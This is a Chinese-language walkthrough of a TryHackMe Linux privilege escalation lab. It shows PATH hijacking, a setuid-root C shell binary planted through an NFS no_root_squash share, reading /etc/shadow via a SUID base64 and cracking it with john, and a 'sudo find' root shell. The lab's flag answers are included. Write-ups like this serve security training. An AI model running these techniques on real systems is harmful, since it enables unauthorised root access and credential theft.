如果用户具有写入权限的文件夹位于该路径中,则可能会劫持应用程序以运行脚本。Linux 中的 PATH 是一个环境变量,它告诉操作系统在何处搜索可执行文件。对于任何未内置于 shell 中或未使用绝对路径定义的命令,Linux 将开始在 PATH 下定义的文件夹中搜索。(PATH 是我们在这里讨论的环境变量,path 是文件的位置)。
通常,PATH 将如下所示:
一般来说,更容易写入的文件夹是 /tmp
,如果在 PATH 中不存在,我们需要添加它。正如我们在下面看到的,“export PATH=/tmp:$PATH
” 命令完成了这一点。
然后我们就可以通过在/tmp
下写入恶意脚本来获取root权限了
1.What is the odd folder you have write access for?
您拥有写入权限的奇数文件夹是什么?
提示我们在/home
目录下查找
find / -writable 2>/dev/null | grep /home
2.What is the content of the flag6.txt file?
flag6.txt 文件的内容是什么?
我们首先进入可写目录,看到有两个文件
发现thm.py是一个用于运行thm二进制文件的python脚本,而test可能是其生成的可执行二进制文件
如果我们创建一个thm二进制文件并写入cat /flag
命令,就可以获取flag值了
步骤如下:
1.我们需要得到flag6.txt的位置
find / -type f -name "flag6.txt" 2>/dev/null
2.添加$PATH
export PATH=/home/murdoch:$PATH
3.创建thm二进制文件,并写入指令
echo "cat /home/matt/flag6.txt" > thm
4.赋权
chmod +x thm
5.执行
ANSWER:THM-736628929
Privilege Escalation: NFS 权限提升:NFS
权限提升不限于内部访问。共享文件夹和远程管理界面(如 SSH 和 Telnet)还可以帮助您获得对目标系统的 root 访问权限。在某些情况下,还需要同时使用这两种类型,例如,在目标系统上找到根 SSH 私钥,并使用 root 权限通过 SSH 进行连接,而不是尝试提高当前用户的权限级别。
NFS(网络文件共享)配置保存在 /etc/exports
文件中。此文件是在 NFS 服务器安装期间创建的,通常可由用户读取。
首先在攻击机上列出可挂载的份额。
showmount -e <靶机ip>
showmount:这是一个用于NFS的命令,专门用来显示远程服务器上挂载或导出的文件系统信息。
-e:表示“exported”,用于显示指定服务器导出的(共享的)目录列表。
将其中一个 “no_root_squash” 共享挂载到我们的攻击机器上,并开始构建我们的可执行文件。
由于我们可以设置 SUID 位,因此将在目标系统上运行 /bin/bash 的简单可执行文件将完成这项工作。
1.How many mountable shares can you identify on the target system?
您可以在目标系统上识别多少个可挂载的共享资源?
ANSWER:3
2.How many shares have the "no_root_squash" option enabled?
启用了 “no_root_squash” 选项的多少个份额?
ANSWER:3
3.Gain a root shell on the target system
在目标系统上获取 root shell
选一个no_root_squash的目录
mount -o rw <靶机ip>:<靶机目录> <本机目录>
//mount:挂载命令,用于将文件系统挂载到本地。
//-o rw:-o 表示指定挂载选项,rw 选项表示启用“读写”权限,这样挂载后的共享文件夹可以读写。
现在相当于目录同步了
我们在本地文件夹中创建一个恶意脚本
touch nfs.c
vim nsf.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
然后我们就可以将其编译成二进制可执行文件文件
gcc nfs.c -o nfs -w
//-o 选项用于指定输出文件的名称
//-w:此选项表示抑制编译警告
最后赋权运行即可
chmod +s nfs
./nfs
cat /home/matt/flag7.txt
ANSWER:THM-89384012
Capstone Challenge Capstone 挑战赛
1.What is the content of the flag1.txt file?
flag1.txt 文件的内容是什么
首先查询flag1.txt的位置
find / -type f -name "flag1.txt" 2>/dev/null
居然没找到,可能是需要管理员权限,我们先得提权
我们先看哪些有SUID权限
find / -type f -perm -04000 2>/dev/null
发现有base64
和sudo
,我们首先用base64
去提权
具体步骤是:
1.base64查看etc/passwd
和/etc/shadow
的内容并复制到我们的攻击机中
base64 /etc/passwd | base64 --decode
base64 /etc/shadow | base64 --decode
发现只有两个用户可用,一个是我们登录的账号,另一个是missy,我们尝试破解他的密码登陆后查看是否具有特定权限
unshadow passwd.txt shadow.txt > password.txt
最后用john解密
john --wordlist=/usr/share/wordlists/rockyou.txt password.txt
得到密码为Password1
我们切换用户
好耶!
ANSWER:THM-42828719920544
What is the content of the flag2.txt file?
flag2.txt 文件的内容是什么?
发现missy用户不好用了,看来得提权到root了
首先看看cronjob
cat /etc/crontab
没有捏
NFS也没有
看一下内核漏洞呢
cat /proc/version
没有捏
到这里,我突然想起来我们有sudo
的SUID权限,那么我们可以使用以下命令来生成一个具有root
权限的shell
sudo find . -exec /bin/sh \; -quit
find .:
find
命令用于查找文件和目录。这里的.
表示从当前目录开始递归查找。-exec /bin/sh ;:
-exec
参数用于对每一个匹配的文件执行指定命令。/bin/sh
:启动一个新的 shell,通常会在该 shell 中执行更多的命令。\;
:是find
命令的语法,表示命令的结束。需要使用\
进行转义,防止被终端误解为结束find
命令的选项。-quit:在
find
命令找到第一个文件后立即退出。这意味着只会执行一次/bin/sh
,然后终止find
。
这个命令的目的是利用 find
命令启动一个具有 root 权限的交互式 shell,但是前提你得有sudo
的权限
获取flag
ANSWER:THM-168824782390238